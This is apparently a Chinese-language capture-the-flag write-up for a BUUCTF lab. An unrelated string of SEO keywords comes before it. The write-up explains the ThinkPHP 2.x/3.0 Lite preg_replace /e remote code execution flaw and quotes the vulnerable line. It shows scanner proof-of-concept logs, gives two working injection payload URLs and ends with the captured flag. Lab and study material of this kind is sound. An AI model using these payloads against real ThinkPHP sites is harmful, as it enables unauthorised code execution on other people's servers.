校园网站建设情况,wordpress主页广告,山西设计网站公司,企业解决方案是什么意思啊任意代码执行漏洞 ThinkPHP 2.x版本中#xff0c;使用preg_replace的/e模式匹配路由#xff1a; $res preg_replace((\w).$depr.([^.$depr.\/])e, $var[\\\1\]\\2;, implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行#xff0c;造成任意代码执行…任意代码执行漏洞 ThinkPHP 2.x版本中使用preg_replace的/e模式匹配路由 $res preg_replace((\w).$depr.([^.$depr.\/])e, $var[\\\1\]\\2;, implode($depr,$paths)); 导致用户的输入参数被插入双引号中执行造成任意代码执行漏洞。 ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞也存在这个漏洞。 POC检测 [15:05:31] [INFO] 检测到: thinkphp_lite_code_exec from script thinkphp_lite_code_exec.py, 目标: http://node5.buuoj.cn:27744/
[15:05:31] [INFO] 正在检测 [29%/1][http://node5.buuoj.cn:27744] poc: thinkphp_pay_orderid_sqli
[15:05:31] [INFO] 正在检测 [30%/1][http://node5.buuoj.cn:27744] poc: thinkphp_method_filter_code_exec
[15:05:31] [INFO] 检测到: Thinkphp 2.x rce from script thinkphp2_rce.py, 目标: http://node5.buuoj.cn:27744/ 经过poc检测该版本的thinphp 2.x存在rce漏洞 漏洞利用 ---- [!] Name: thinkphp_lite_code_exec Script: thinkphp_lite_code_exec.py Url: http://node5.buuoj.cn:27744/ Vulnerable: True Method: GET Payload: http://node5.buuoj.cn:27744/index.php/module/action/param1/$%7Bprint%28md5%282333%29%29%7D [!] Name: Thinkphp 2.x rce Script: thinkphp2_rce.py Url: http://node5.buuoj.cn:27744/ Vulnerable: True Attack: True Method: GET Payload: http://node5.buuoj.cn:27744/index.php?sa/b/c/${var_dump(md5(1))} ---- http://node5.buuoj.cn:27744/index.php/module/action/param1/$%7Bprint%28md5%282333%29%29%7D
http://node5.buuoj.cn:27744/index.php?sa/b/c/${var_dump(md5(1))} 经过验证两个payload都可以使用我们查看phpinfo页面 get flag 自由组合payload都可以触发代码执行漏洞 flag{f2613e0d-5ccc-42d9-b18b-509dc185df9c}